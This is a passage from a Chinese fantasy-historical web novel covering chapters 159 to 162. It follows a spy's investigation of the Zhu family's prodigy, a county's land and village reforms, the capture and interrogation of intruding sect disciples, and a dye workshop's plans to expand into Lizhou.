一般来说,按照规律,这种天才应该会在朝廷上继续为朝廷效力,成为稳固朝廷的第一把手,但是事实上祝时并没有这么做。 这点就很让寻安费解,毕竟根据她多日打探,祝府可不是那种谦虚内退的性子,有什么好处,向来都是争着抢着的那个。 虽说不排除有天才在长大的过程中逐渐失去灵气的情况出现,但根据她的打探,祝时在这些年内倒是也偶尔会献上几个优秀到令人直呼妖孽的计谋,只是频率下降许多,这一点让寻安有些疑惑。 ——既不是失去灵气,那便是不愿意? 但这又和祝府的性子不符,且再加上祝时又喜处理交际,一时间,寻安不免深思。 看着祝府马车越走越远,寻安终于找机会询问那安插在药馆内的线人。 “他到底在里面做了什么?” “这说来奇怪,祝时就是规矩看病,但除此之外,他带了远超常规的药材离开。” 听到这个回答,寻安不免震惊,随后陷入沉思。 为何要带走这么多药材?这到底是有何用意? 再联想到门口放着的那辆特别显眼的祝家的马车,寻安总感觉这事绝对有隐情。 就在她蹙眉沉思之际,一只熟悉的信鸽飞了过来,站在她肩膀上,等从信鸽脚上拿下情报,看清楚那上面内容所写,结合先前种种不对劲之处,寻安顿时脑内生出了一个大胆的猜测。 有没有可能祝府有两个孩子? 十六年前的那个是真正的天才,而十六年后的这个则是冒充天才的替代品? 这个想法过于大胆,一时间,寻安顿觉头皮发麻,但是种种迹象表明,这很有可能才是最后的真相。 既有很大概率是真相,寻安立即对后续的行动有了新的调整。 她命人打探当初祝府到底是有几个孩子,是男是女,以及十六年前的祝时性格,为人,打算和现在的祝时多番对比。 如果结合寻宁情报中所说,那么很有可能当时那个十六岁的天才是被加害了。 但既然都是祝家的孩子,为何要这样做? 寻安脑内迅速生出几条猜测。 猜测一:祝家天才被外人所害,为了稳固祝家地位,这才特意找了傀儡充当祝时。但这基本上不可能,因为若真是这样,她们不至于会完全找不到那祝府天才休养的地方,毕竟这种天才,哪家不是捧在心尖上的?且经过她们多日观察,现在的祝时和祝府老爷的关系甚至亲密,不像是单纯的傀儡。 猜测二:两人都是祝府孩子,但祝府天才是庶子,或者身份不够尊够,为了给更为尊贵的那个人铺路,这才成了被牺牲的棋子。 若是如此,她只需要查出当年的生产记录即可。 猜测三: 先前的祝府天才是个小娘子,因本朝女子不能为官的缘故,祝家既害怕惹怒圣上,还害怕没了祝府天才他们会从此一蹶不振,这才让兄弟代替,同时将那真正的祝府天才隐藏起来,时不时从那里拿点方案出来回递给圣上,装作依旧是原先那个祝时,营造出祝府依旧辉煌的模样。 最大胆,却也是最可能的猜测,毕竟那祝府内的那妇人便是个证据,若那天才为男子,为何试药要在一个妇人身上试? 排除这药特异性太强,只有这妇人活下来这一个因素外,大概率是因为那祝府小娘子和此妇人身体有不少类似的地方,这才会将试药用在她身上。 如何确定这点,依旧可以通过查生产记录得到。 寻安暗自琢磨,若是那生产记录查找不顺利,那猜测三的概率最高,毕竟别的情况不需要将这记录瞒得那么死。 她脑内思绪翻涌,低头去看手中情报。 寻宁送过来的情报表示必须要将药师的家人控制起来作为后手,她在那边已经没有可以继续打探的情报,所以近期她打算动手,捉住这药师,逼他说出最关键的情报,为了预防意外,后手必须做。 眼看这件事即将揭露真相,寻安不免心情古怪。 一开始接受这个任务的时候,她是抱着要为仙师解忧的心态去做的,但是随着查得时间越久,倒真让她有些好奇这件事的真相到底是什么。 叹息一声黎州实在是水深后,寻安将注意力放到接下来的行动上。 与此同时,风仙县。 报纸上发布了两条爆炸性消息。 一是联合村落,二是流民若是表现良好的话,有机会正式成为联合村落的村民,并获得土地。 此消息一出,几乎是立马引爆整个风仙县。 当日的报纸几乎在半个时辰内全部售卖一空,无论是否抢到报纸,众人都按捺不住内心的好奇,迫不及待想知道这二者的具体内容如何。 有那手速快的人抢到了报纸,这会被人围在中间,看上去好不得意。 “刘三牛,你快看看上面到底写了啥?” “是啊,别吊胃口了,我们都快急死了!” “咱们还能有机会分到土地?这真的假的?” “快快快,念念!” 在众人的催促下,刘三牛忙展开报纸,先自行看了一遍,本打算看完就给众人讲解一番,但谁能知晓,这内容一看就陷了进去! 第159章 冬季 报纸上写得清楚,联合村落即是以斗坡村为主,将附近的村落汇聚起来,形成一个新的大村落,一是为了更好的管理,二则是联合后可以开设新的公共建设,譬如联合村落需要开设一个中级学堂,这样这些村落就不要还要特意来风仙县内上学了。 除却这好事外,上面写清楚要将原先无人占据的荒地开荒出来,在此地划分住宅圈和农田,如若有特殊贡献,即可额外领到新的土地,不限制身份,也就是说无论是流民亦或者普通百姓,只要你有这个贡献,便能拿到联合村落内的农田和住宅。 这事对谁来说都是一件好事,但对于他们流民来说更是如此,毕竟他们正是需要住宅和农田的人。 刘三牛快速地扫完报纸内容,将此消息告知了周围围绕着他的人,顿时众人群情激涌。 “还有这等好事?我们流民也能参与?” “这是不是很难,特殊贡献,那得办成个什么事才能得到啊!” “总归是个希望,是个盼头,你看除了风仙县,别的地方什么时候有过这好事?” 群情激涌,说什么的都有,而刘三牛则是沉浸在这消息内,思索着如何才能得到这奖励的东西,最后思索来思索去,得出结论,无论如何,他必须要先上学堂,只有说足够有用,才能有机会得到官府分发的房子和农田。 一番思索,刘三牛不再说话,而是沉默着继续做着他的活计。 最近他已经攒了一些钱了,但对于上学后的花销还是不够,他得再干一两个月再说。 而与此同时,联合村落的消息一经发布,斗坡村附近的村落均是欣喜万分。 ——先前他们就经常在斗坡村里找活计,现在融合不融合都无所谓,若是一个村的,日后也不必感觉处处低人一等。 而斗坡村有人还有些不满意,但听到联合村落给建设中级学堂后,这会不满也变成了满意,毕竟孩子大了后是需要上中级学堂了,若本地没有,他们就要将孩子送到县内,到时候住宿费,车马费,哪个不需要花钱?现在既然开设联合村落就有中级学堂,那么他们就不需要舍近求远了。 一时间,这政策简直是人人欢喜,各自觉得有利。 而里正在得知这一消息一经发布时,先是微楞,而后细细品味后察觉到了不对劲。 ——等会,感觉他被县令大人诓骗了啊,若按照这趋势,他当日即便不提开设中级学堂,为了平衡民意,县令大人也绝对会开设这个中级学堂! 一时间,里正忍不住脸色变幻莫测,而后就是深深叹息。 算了算了,不管是他求来的还是县令大人本就想这么做,总归结果是好的。 只是脑内不自觉闪过县令大人那副故作不满的表情,里正不免有些嘴角抽搐,这年头,没点演技是真不敢当官啊! 而于此同时,方知意则是处理了先前在树立新法后,试图从本县逃走的那批人的财产。 ——她倒是没多拦着那些人,只是不允许他们带走产业而已,只是那些人内不免有人想走,也想带着财产的人,对于这些人,方知意全部让官兵带人抓了起来,以儆效尤。 在首例出现后,原先还蠢蠢欲动的人立即乖巧下来,不敢再挑战县令大人的底线。 但这些人偷偷藏着小部分财产,混了出去,试图从风仙县内逃走,对于这情况,方知意则是无心去多管。 对她来说,目前本县源源不断吸引着流民,人口不缺,只是缺钱而已,他们逃走了正好能将这些钱收到官库内。 这段时间,方知意干的就是这活计,因为有仙师先前所设定的仙术约束,她不用看着官员,看他们是否贪污,反正如果有人贪污受贿的话,仙师下的术法会第一个作用下来。 先前还有人不信邪,试图尝试一番,但最后以被仙术挂在城墙上三天,而后被方知意押送到牢房内结束。 既有了这般例子在前,或许原先还有人蠢蠢欲动,但此刻那份心思全都熄火了。 这会自然是老老实实的干活。 而等到官员将这些人的财产全都充入库内后,方知意查看一番县内总账,心里不免沉思。 风仙县的冬季终于来了,在人人都买到那官府特别补助的优质棉衣,被褥后,属于风仙县的第一场雪,飘扬而下。 雪花飘飘洋洋地落在荒野,落在刚撒上小麦种子的土地,落到街道上还在忙碌,脸庞透露出红润的百姓头顶,肩膀。 “下雪了。” 不少人发出惊叹,往年这个时候,他们只会发愁,毕竟寒冷的冬季不好过,但现在不是了。 在外面有新棉衣,穿得暖暖和和,寒风不曾钻进来,只让人感觉到新棉衣带来的温暖。 而在内,有温暖的新被褥,有沼气带来的暖气,烘得衣服,人心,空气全都暖洋洋的,以往下雪带来的寒冷阴冷全都被崭新的一切覆盖住了。 风仙县,冰铺的黄掌柜则是暂停了卖冰业务,转而变成售卖别的东西,原先的话,他会在冬季售卖取暖物品,如棉衣,木炭这些,柴火,这些,但现在伴随着沼气取暖的进行,这些东西已然需求量小了许多,毕竟大部分人家都连通了沼气,只有少部分异常情况的人没有连接,才会选择来他的店铺里购买一些取暖物资,但相比于往年的需求量,实在是消耗得太少。 无奈之下,黄掌柜只能改变经营策略,转而售卖一些应季食物,譬如姜汤,热酒,炖菜这些热食,除此之外,他还会售卖一些纺织品,譬如粗布棉絮,亦或是蓑衣,好让人在雪天能够避免湿了衣服,再或者是一些祭祀,过节需要的时令物件,总之什么都卖。 虽说沼气取暖让他丧失了不少取暖方面的客户,但他先前和张氏的交谈中知道了那斗坡村有一酒厂,售卖的酒水口味十分独特,于是他便早早去了斗坡村,在尝试品尝后,他立即和酒厂提前拿走了对应的一部分产量。 也幸亏他原先对张氏一行人给与了帮助,这才和张氏有几分交情,不然的话,这酒水可轮不到他去购买,就在他刚和酒厂订购了一小部分的固定产量后,之后酒厂的受欢迎程度远超他所想,后来再想要酒水,那要求可就要复杂困难多了。 黄掌柜也就是运气好,在开头赶上了好时候。 所以尽管现在取暖方面他掉了一部分收入,但凭借着小范围的酒水供应,将这美酒二次贩卖给别的小商户,他倒是还赚了一笔钱。 足以覆盖他因沼气而被影响的收入。 且实话实说,这沼气供暖可要比原先炭火供暖舒服多了,一是没味道,二是比炭火暖和,三是便宜。 现在整个屋内都暖烘烘的,被褥干爽,没有以往的潮湿冰冷感,黄掌柜缩在他的椅子内,舒服得直喟叹。 摇晃没几下,倒是有不少客人进来要购买热酒喝。 黄掌柜忙给热了酒,挨个递过去,便听这些客人交谈。 在这些人中,他倒是发现了不对劲的地方。 ——有一个人身穿蓑衣的人看着十分沉默,除了喝酒时偶有停顿,仔细看了看这酒水,其余时候安静得让人以为不存在一般。 黄掌柜不免心中暗自生出了警惕心,多年的经验告诉他,此人定是不好惹。 这会只敢偷摸着瞧着他,不敢多动作,生怕被此人发觉。 好在店内喝酒的人不少,此人并未注意到他偷偷摸摸的打量,倒是一杯又一杯的喝着酒,黄掌柜注意到此人喝酒时露出来的手指,布满疤痕,看着像是一双饱经风霜的手。 就在此刻,这人突然抬头和黄掌柜对视一眼,黄掌柜心里一惊,心凉了半截,而后挂上微笑强迫自己冷静。 “这位客官您是有什么需要么?” 此人没说话,黄掌柜冷汗直流,正想着该怎么脱身时,就听这人慢慢悠悠道:“再来一壶酒。”?——吓死他了! 黄掌柜赶忙送过去一壶热酒,刚想撤,就听他问:“掌柜的,你家这酒味道真好,是自己酿的么?” 黄掌柜挤出微笑,“客官说笑了,小店不会酿酒,只是从别人手中买来的。” 他还在思索此人到底意欲为何,便听这人拿出携带的酒壶让他装满。 “好酒,给我满上。” 黄掌柜带笑,给他装满酒水,此人扔下钱很快消失在风雪中,等确定他走远后,黄掌柜顿觉自己后背出了不少汗。 ——奇怪,这人到底是谁,为何会有这么凌厉的气势,反正让黄掌柜说,此人绝非普通人! 于此同时,城门口悄然汇聚了一批颇为奇特之人。 这些人的穿衣打扮颇有些古怪,若仔细看去,更像是道袍,只是这些人眼内都流露出淡淡的不解。 有人好奇,“这便是那任务所说的风仙县?看上去和普通县城没有区别?” 有人警惕,“要小心,作为给那么多的贡献点的任务,我感觉这县内肯定有些古怪。” 还有人不以为然,“刚才我观察过了,这来往的都是普通人,有何奇怪之处?” 总之说什么的人都有。 因此任务谁先做完,先去交付可能便算任务完成了,犹豫片刻后,他们按照来的时候的队伍试图进入风仙县内。 等看到那风仙县内还有官兵挨个查看时,这群人不免坏笑着拿出混淆符。 “我等用这个就能轻松进去。” 第160章 禁令 这些人虽说是景旭宫的外门弟子,但好歹手里头还是有一些符咒的,虽说大多数不值钱,不算效果强悍的符咒,但是像这“混淆符咒”这般做任务甚是实用的符咒,景旭宫外门弟子的大堂内倒是有不少库存可以让他们用贡献点兑换。 价格也不算贵,再加上有这东西办任务确实方便,整体算下来绝对是赚的。 很快,此符咒就成了景旭宫最为热门且好用的符咒。 眼下来到这风仙县做任务,众人自然拿出了原先百试百爽的混淆咒,试着一会直接用在检查的官员身上。 而等他们在快靠近官兵时,立即将此符咒捏了出去,符咒瞬间消失,化作金光消散。 不过令人有些不解的是,那些官兵好像并未有过先前那些人使用后的瞬间迷惑,但多次的成功经验让众人不免放松了警惕,这会大摇大摆地进了官兵身旁,准备敷衍两句进城。 而与此同时,风仙县的官兵们则是略有好奇地打量着眼前这些穿衣打扮完全和普通人不一样的家伙们。 等到凑近了,这才从他们的衣服上看出隐隐约约的三个字,景旭宫。 顿时脸色微黑。 景旭宫可是当时前来试图摧毁他们的一员,他们仙师还不曾去找对方麻烦,结果对面先忍不住过来挑衅来了? 心底憋着一股火,但看到这些穿着奇怪衣服的人还在排着长队打算进城,官兵们先是派人去县衙通报,同时决定将他们先诱骗进来,然后全部缴获。 至于说会不会害怕?怎么可能呢,毕竟他们可是有仙师坐镇的!至今为止,他们就没能看到过惹怒仙师还能好好离开的人。 这会对于贸然进来的景旭宫敌人自然是一万个自信。 而在城墙入口处,景旭宫弟子不免得意。 虽说先前那混淆咒使用起来并未看到官兵那瞬间的迷惑,但眼前的官兵明显是被作用了符咒,不然为何他们满口胡说,对方也让他们进城了?想来是符咒的缘故。 景旭宫众人不由放轻松,看来这任务并非想象中的那般难以完成,或许是他们太谨慎了。 眼看这些人都能顺利进城了,原先提前埋伏在附近的人这会有些等不及了。 ——自己来得早,这会眼看没有异常,若是不早点进去,这任务要是被这些人先完成了该如何是好? 岂不是白白浪费功夫? 一想到这个可能性,众人不免生出了几分焦躁,这会顿时待不住了,忙拿着混淆符也上前,打算先进城去。 除了少部分的人觉得不差这点时间,决定好好看看情况再说,大部分外门弟子都争先恐后地涌入其内,为了那贡献点而拼命。 官兵眼看附近没了别的穿着道袍的奇怪人物后,这才给其余官兵使了个眼色,很快,那些官兵领着这些人前往一处地点。 嘴上说着是要签字,实际上,基本上是人一进去,就会被立马打晕,然后搜身后扔到大牢里等待发落。 大部分人都没来得及动作就被打晕,偶尔有少数反应快的,没被打晕,但也被前来支援的仇朗,仇离用符咒镇压。 等到将所有入城的景旭宫外门弟子押入大牢后,立即有人开始询问这些人为何来风仙县,目的为何。 都不用了一轮审讯,这些人早就将能招的都招了。 等听到这群人的招供后,方知意难免沉思。 ——按照他们所说,他们是景旭宫外门弟子,只因为要赚取所谓的贡献点,这才千里迢迢,从黎州赶往明州风仙县。 等到问及外门弟子和内门弟子后,这些人表示只有内门弟子才能获得景旭宫悉心培养以及获得一些更高级的术法。 对于这些人的说法,仇朗仇离二人点头,表示这部分是真话。 等到听到来探查风仙县的贡献点竟然这么多后,二人不免面面相觑。 要说他们也确实了解过这景旭宫,知晓他们的贡献度计算,若按照景旭宫内的算法,这个贡献度给的是真不低。 但在他们看来,本县实在是安逸得很。 不过,若是从景旭宫的角度来看,或许并非如此。 仇离几乎瞬间便想到了先前景旭宫有十二人前来本县,试图协助那反军攻破风仙县,但后来那十二人以及那群反军,均被仙师的真仙术法——形意真法杀死在风仙县外。 既然如此,所以景旭宫才对风仙县这般忌惮,生怕会对自己有危害。 想到这点,仇朗和仇离互相对视一眼,而后将此猜测告知方知意。 而方知意则是瞬间联想到一件事。 先前那次争斗,那景旭宫只找到了十一具尸体,那领头的邱老尸体一直没能找到,当时她们猜测此人定是逃了出去,或许会将此消息传递回去。 既现在有大批量的景旭宫外门弟子前来试探,是否因为景旭宫内终于开始觉察到这事,想打探一番邱老等人的死因? 但等到再细细询问一番,多次对比任务内容,方知意微微思索后得出结论,应当不是过来打探死因的,因为这群人打探均是风仙县的日常,以及是否有古怪之事出现,若是寻人的话,至少命令不会这般简单。 眼下这番命令更像是早就知晓风仙县的恐怖,所以才打算多方打听,最后再结合起来,细细研究本县古怪之处。 而据这群人所说,他们均为外门弟子,无论怎么看,方知意都觉得景旭宫对风仙县十分忌惮,不敢派珍贵的内门弟子,这会全把外门弟子送来打探消息了。 若是让她猜测,很有可能是那邱老顺利逃了回去,将当日之事告知景旭宫,不过今日不曾看到那邱老,要么是他早已死去,或者说此人正在风仙县城外埋伏。 多番打探,倒是没能从这些外门弟子口中再打探出来任何和邱老有关的消息,方知意不免陷入沉思。 ——无碍,总之那邱老完全不是仙师的对手,无论如何,目前是威胁不了本县安全。 至于这些被扣留下来的景旭宫外门弟子,再询问仙师该如何处置吧。 而此刻,牢房内。 这些外门弟子悠悠转醒后,很快便发现自己竟然在大牢内,衣袍被剥开,身上的符咒全部被人拿走,顿时立马慌了。 ——等会,这和他们想象中不一样啊,按照想象,他们现在应该顺利通过官兵检查,而后自由在风仙内探索才是,怎么会落入牢房内? 没等大脑清醒,就有人冷笑道:“你们运气还不错,正好错过了第一批审讯,醒得迟点也有迟点的好处。” 众人忙朝着说话方向去看,便看到牢房外有一高大蒙面人,正看着他们嘲讽。 而在那人对面,则是立着好几个被绑得严实的人,那几人众人一看便知晓,正是他们景旭宫的外门弟子。 而且还均是术法要比他们好的外门弟子,这几人均是冲着这高额的贡献点来的,若是顺利完成这个打探任务的话,这几人很快便能升入内门,所以这才前来冒险,试图求个快。 众人不免心情恐惧,先前还想着他们会术法,自然是要比普通人强大,但眼下看来,离开了符咒,法宝,他们什么都不是。 尤其是看着那几人均是一副受了刑的模样,这会各个心底冰凉,生怕上去了也要接受这般对待。 寻凉微笑着看着对面这些景旭宫的人,缓缓开口:“其实审问也很麻烦,如果有机会的话,我也不想审问,所以你们最好痛快点自己招了,不然让我来得话,我保证你们会后悔的。” 众人忍不住瑟瑟发抖,若是原先他们或许还会嘴硬几句,但是看着那几个被吊起来的熟人们,这会什么想反抗的心思都没了。 ——开什么玩笑!他们本身想去景旭宫就是为了学点真才实学的东西,所以才这么拼命,眼下命都快没了,他们对景旭宫也没什么信仰,何必为了它强撑着? 那几人好歹是因为有机会进入内门,而他们则是遥遥无期,不早点投降还想干嘛呢! 一时间,众人不免想得颇为明白。 听完寻凉的威胁后,人群中竟然“呼啦”一声跪了一地的人。 就连见识多的寻凉也被这情况微微震撼在原地。 ——纯粹是没见过这么不经吓的人。 倒也侧面说明了这景旭宫的确是没什么人愿意真心追随它,现在一出事了,各个跑得比兔子还快,恨不得把自己知道的事情全部吐露出来,求个活命的机会。 虽说心情复杂,但想到自己好歹不用再继续加班时,寻凉还是笑得真心实意。 “很懂事,现在挨个说吧,别试图撒谎,我会死死地盯着你的一举一动。” 很快,景旭宫的众外门弟子挨个被拎出来询问情报,要是听话还好,寻凉倒也懒得管,但若是还想找事不肯好好交代的,他挨个全都给了教训,看着寻凉下手又狠又不讲道理后,后续排队等待的人又害怕,又不敢捣鬼,这会安静如鸡,就等着轮到自己赶紧把自己知道的说完算了。 反正在他看来,自己不过是一个外门弟子而已,本身对景旭宫就没有太多归属感,且本身知道的东西也少,自然是不怕。 寻凉快速问了数人,等到按照往常询问时,却问出了不一样的东西。 他拧着眉,再次复述。 “你是说,你们景旭宫内颁布了禁令?” 这人抖得如同风中落叶。 “具体说说?” 此人又是一阵恐慌。 “这禁令我不知晓能否说出去,我怕死啊!”《 》 160-170 第161章 市场 寻凉冷脸。 “你怕禁令,怕死,是不是我对你太好了,让你意识不到我也会弄死你?” 几乎是说话的瞬间,寻凉揪住他的脑袋,那双仿若饿狼一样的眼睛盯着他,仿若下一秒就会将他撕裂。 “别挑战我的底线,你不会想知道的。” 用手中的匕首贴着男人的脖颈慢慢滑下来,寻凉继续开口:“来吧,尝试着说出一些你能最大限度说的东西,我也不想逼死你,但你得给我吐出一些东西来。” 说完后,寻凉压迫性地看着他微笑。 男人被逼得没办法,如果必须要死的话,还不如被禁令弄死得了,反正他看这里的折磨自己也扛不住。 这会斟酌着开口,尽量模糊描述。 “我们这样的外门弟子其实是没有机会能进入景旭宫内的,但景旭宫当时失误将我录取成内门弟子,这才带我进去,我正等着领内门弟子所需的药材,修炼的东西,结果那些大长老们全部去了议事厅,除了他们外还有很多身份地位高的人也过去了 具体内容我不知道,因为等级不够,但没过多久,他们便强行押着一个大长老离开了,不知道发生了什么,但是看着他们很害怕的模样,与此同时,几乎很快,禁令命令我们不许将今日宫内混乱之事谈论出去,当时我们都不敢谈论,结果之后那个管事的找到我,说是失误让我进来了内门,其实我还在外门,所以又给我放了出去,临出去前,他警告我不能说出那日的事,不然会死。” 男人颤抖着说完这些话,而后看着寻凉。 “求求你了,放了我吧,我说这话都是真的,而且我就是倒霉鬼,也是运气不好遇到了这事而已。” 看着眼前之人不像是撒谎的模样,寻凉微微松开他,随后将这消息告知了方大人。 染坊。 在先前方大人提出要改进染织方法,更好的固定颜料后,赵金构自然是按照她所说执行下去。 按照配方试了几次后,提取出来的红色和靛蓝色果然如同方大人所说,颜料的染色度和持久度都非常好,且产量也要高出不少。 负责染布的是一个叫做李尔的上了岁数的男子,李尔今年得有快五十岁,看着模样要比年纪沧桑一些,毕竟虽说是不干农活,但是染坊的活计也不轻松。 不过好在此人染色技术很强且运营经营能力也不错,所以多年来,赵金构早就习惯了和他共事,先前的染坊在李尔手中也是稳稳当当的赚着钱,不曾有过什么失误。 其实在当日方大人将那计划书给他时,赵金构便前往染坊立即和李尔试验这法子。 起初倒是因为一些原因失败了几次,但很快掌握了方法后,之后再也没失误过,且李尔惊讶地发现,这染料产量可比原先多了不少。 等拿到刚产出的染料,李尔立即试着染了一缸。 其实说实话,他一开始有些忐忑,毕竟总觉得产量高了,或许染色效果会不好,但实际上,染出来东西后,他却发现这染料效果比原先好多了。 红色染完了更为细腻,颜色中毫无杂色,下水试验后也不掉色。 靛蓝也是如此,两种颜色的固色都做得非常好。 且运用着赵金构告知他的改进方法,李尔自然是一并将染布手法也改进一番,而后惊喜的发现,这确实没错,染出来的东西确实比原先效果好太多了! 李尔不免惊奇——明明只是更改了一个步骤,为何会有如此大的变化? 脑内不由地思索,倒是转件品过味来了。 这会不由地叹息这改进实在是太妙了。 但是更令他震撼的是,无论如何他也想不通赵金构是如何想到这些逆天的改进方法的,非常的精准,只改进几个步骤,却可以迅速提高产量,对染坊的改变实在是大。 除却染料和染色方法的改变,李尔按照赵金构给的染桐让工匠快速打造一些出来。 因请的工匠人多,倒是很快便做好了好几台。 李尔率先和工人试了试,发现染布运用此滚筒的确效率又高且更容易将布料染得均匀。 赵金构倒是静静地看着眼前这一幕,耐心等待晾晒好后的布料到底是何模样。 这会功夫,李尔倒是小跑过去,和他说话。 “小郎君,你这法子确实好啊,若运用此法,我们赵氏染坊前途一片光明,别说别的染坊,依我看就连原先最好的李氏染坊都比不过咱们现在的技术。” 赵金构来了兴趣,“哦?竟然这般好?” 李尔笑着点头。 “别看这几种改进方法微小,但确实极为有用,若按照我最为保守估算,今年染坊的利润翻倍绝不是问题!” 而赵金构则是在思索别的事。 当时方大人将此任务交付给他,目的是为了让他建造一所规模大的染坊,而非让他自己建设自己的染坊,所以他在考虑要将染坊纳入先前方大人致力推行的收购计划中。 倒不是说就这么无私,什么都不图,而是赵金构知晓日后仙师还会给本县带来更多的惊喜,若现在他作为私企和官企合作,一来是日后他会更轻松,经营什么的不至于说会被人卡脖子,二来是而官府也少了不少重新开设染坊,找匠人的麻烦。 这么看下来,这绝对是两全其美的好法子。 将此想法从脑内摇晃出去,赵金构则先关注眼前刚染好的两块布料。 一块红色的,一块靛蓝。 肉眼可见,颜色细腻,正得很。 李尔还命工人下水淘洗,并未出现褪色现象。 多番实验,发现这改进后的效果好太多。 除了这改进效果外,赵金构额外和李尔说些过去,再谈谈现在和将来。 “李叔,赵家染坊这些年多亏了您才会这般稳健,眼下我有一请求要麻烦李叔,不知道李叔愿意帮我这个忙吗?” 两人边喝酒,边说着话。 而李尔忙饮下口中的酒水,恭敬开口:“小郎君称我李某一声李叔,这已经是您给面子了,若有我能帮上忙的,还望小郎君开口便是。” 赵金构很快便将先前方大人要求做的色卡一事稍微掐头去尾,拿出那本充当色卡的模板,询问这些颜色和当今的颜色该如何对应,划分,希望李尔帮忙重新制定一份新的色卡。 李尔被这要求惊愕在原地。 他还不曾去看那色卡,脑内倒已经绕了好几圈。 ——等等,就他们赵家染坊这等规模还需要额外做色卡?直接用现有的色卡多好? 或许可能是因为小郎君打算扩大市场,这才需要额外做色卡? 只是做色卡相当复杂,而且不是有一定影响力的商户,谁也不会服气这色卡的。 脑内思绪乱飞时,李尔却突然听到小郎君提及的色卡模板,且还说明要让他对比如今颜色。 这倒是个新奇事。 李尔忙去看,结果便看到足以让他震撼的一幕。 只见小郎君手中拿着的是一份完美到极致的色卡,那清晰的颜色,看上去不像是色卡,反而如此鲜活,仿佛他用肉眼就能看到那实物为何颜色——简直让人不敢相信这是印上去的! 一时半会,李尔楞在原地,而后才后知后觉开始一一对应色卡。 色卡对应倒是不复杂,毕竟他投身染坊已有许久,若是连这点小事都做不好,那可真是对不起小郎君对自己的期待了。 一边比对色卡,李尔一边心里琢磨着刚才的心事,这会不由开口试探:“小郎君为何要开始制作色卡?我等用现有的不好么?” 赵金构微笑:“现有的虽好,但我们要看的市场可不仅仅是本县,眼光若是长远一些,我们可以开设到别的县,别的城市,甚至别的州。” 李尔心脏不由乱跳——小郎君什么时候对染坊兴趣这般大了?这听上去是打算好好干? 还没开口,边听赵金构继续道:“李叔,你觉得靠这两个颜色的布料,我们能不能快速铺货,打开市场?” 李尔脑内顿时活跃,而后思索片刻道:“自然可以,但是所需要的银两太多,恐会拖累赵家染坊啊,若小郎君有这等心思,不如徐徐图之?” 其实李尔这话绝对没错,不少原先还利润颇丰的铺子因为盲目扩张而倒闭的实在是太多了。 这会自然也担心赵金构会冒进。 结果等了半天,没等到自己想象中的话,反而等到了一句让他足以震撼的话。 “这染坊我欲和官府合作,然后将它开至大江南北,迅速靠着这两种颜色的布料铺货,等到占据市场后,再用色卡制定属于我们赵家染坊的新规则,李叔认为如何?”???不是,你这想得不是挺好的么,还问我? 心里想的归心里想的,但李尔依旧心中激动不已,如果这样的做的话,对他们赵家染坊只有好处没有坏处啊—— 再看看那红色和靛蓝色的两种布料,李尔不由心中满足异常。 若是按照这两种颜色铺货的话,他们可以靠着质量好,但价格同等快速占领市场,日后便如同小郎君所说,市场便会听从他们赵家的规矩,其中便包括色卡。 想到这里,李尔不免兴奋,他岁数已经大了,原来年轻时渴望轰轰烈烈,干出一番大事业,但等到后来,日子一天天的过去,他逐渐被安稳平静的,日复一日的生活磨平了棱角,而眼下,对于这场听起来可能颇为疯狂的事业,反而产生了从前那些野心来。 于是他开口问:“小郎君,咱们主攻哪个地方?” 本以为会听到别的名字,结果赵金构悠悠回道:“黎州。” 第162章 供认 听到黎州的片刻,李尔感觉自己的理智离家出走了。 等会——? 怎么直接一开始就去黎州了?这中间都没有个过渡的地方,这合适吗? 但是注意到赵金构一副淡定的模样,李尔想说的话最后全咽了下去。 行行行,好好好,反正是小郎君自己提出来的,到时候要是效果不好可别怪自己。 多少是有些不放心,李尔特意嘱咐了一句,倒是意外得到了一个新消息。 黎州会有人配合他的推进,所以算不上是孤身一人独自奋斗。 李尔擦了把汗,感觉自己那点担心也是白扯,这会只能按照赵金构的意思去推进此事。 不过目前暂时来看,他需要负责的便是染料的生产,以及布料的生产而已。 至于别的布料采购,以及售卖,这倒不是他该操心的。 将那色卡制作完毕后,赵金构拿着新色卡去找人多份复刻,决定之后售卖时使用。 与此同时,他拿着染好的布,先去找了方大人。 等到见到方大人后,赵金构先拿出布料让她看。 “方大人请看,这便是那改进后的布料模样,大人觉得如何?” 方知意捏在手上细细查看,眼眸内闪过惊讶。 “竟如此好,依我看,黎州市场可以顺利拿下。” 赵金构微微一笑,忙开口道:“在下也是如此想的,这布料颜色正,且固色好,不愁卖,但毕竟是黎州之地,在下还是需要方大人手上的人脉去帮忙接应。” 先前他早就和方大人通过话,方知意同意了他的染坊划分为官家企业,现在这赵家染坊按道理算是官府产业。 方知意自然是知晓此事需要多方人手,先前她手里捏着不少本县可用之人,这会倒是可以派上用场了。 先前她命人处理本县状况时,挖掘一番倒是意外发现不少能用在黎州的人脉。 正好适合这次推进。 而赵金构则开始谈论另外一事。 “方大人,染坊若是想铺开货物,还需要更多的员工,在下想着本县或许可以开设染坊,这便又能带动一部分就业,不知大人意下如何?” 其实这情况方知意早就考虑过了,建设染坊是迟早的事,招人也是,既现在赵金构提出来,她让他负责便是。 赵金构得到肯定后告辞离开,而后第二天,县内便开始动工制造新的建筑,有内情的人知晓这是在建染坊,各个心思微动。 ——这是不是意味着又可以招工了? 不少人暗戳戳做着准备,就等着一招工就去碰碰运气。 毕竟在本县的各个厂子内上工,那可是一份相当体面的工作。 现在本县男女婚嫁的大方向是优先考虑在厂子内上班的,这样家中有稳定的经济来源。 除了工作上的大方向是有稳定工作,其余的话便是一些对于家中经济条件的要求,譬如最基础的,要有沼气灯,沼气取暖,还有马桶这些,除了这些以外,若是有工作的小娘子们则还会询问对方一些其他的问题,大概便是自己赚的钱要有支配权这些。 在原先县令大人的那法律条文下来后,再加上学堂的熏陶,小娘子们倒是越来越有主见了,那些原先因为无法上学,被逼迫着在家中操持家务,兄弟姐妹的小娘子也解放出来,人一旦脑袋不再冥顽不灵,对待这些新事物的接受能力就会显著提升,至少这些上过学堂的对于这些法律的接受度十分良好。 倒也算是良性循环。 与此同时,黎州元城。 寻安总算是找到了当年祝府生产的情报,据情报所说,当日是有一女出生。 这情报真是废了她不少力气才拿到的,原先一开始她找到的情报上写的只有一个男孩,是她深觉不对劲,这才继续查下去,一路摸索,总算是找到了那还幸存的人,套出了那情报。 ——确实有一个女儿出生,但现在消失不见,种种迹象表明她的猜测三完全正确! 与此同时,寻安早已经派人将那药师的家人控制在手中,眼下只剩下最后一击了。 给寻宁发出收网的情报后,寻宁立即在药师刚去完祝府回来后,立即将他绑了起来。 为了避免他逃跑,寻宁没收力气,将他打得瞬间丧失活动能力,这会只能被堵着嘴巴,一脸惊恐地看着她。 